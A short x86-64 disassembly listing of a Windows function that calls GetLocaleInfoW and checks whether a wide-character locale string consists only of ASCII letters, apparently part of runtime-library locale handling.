call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400298f5
cmp ebx, dword [rsp + 0x30]
je 0x1400298ee
test esi, esi
je 0x1400298ee
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400298c9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400298d6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400298b3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400298da
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400298f7
mov eax, 1
jmp 0x1400298f7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret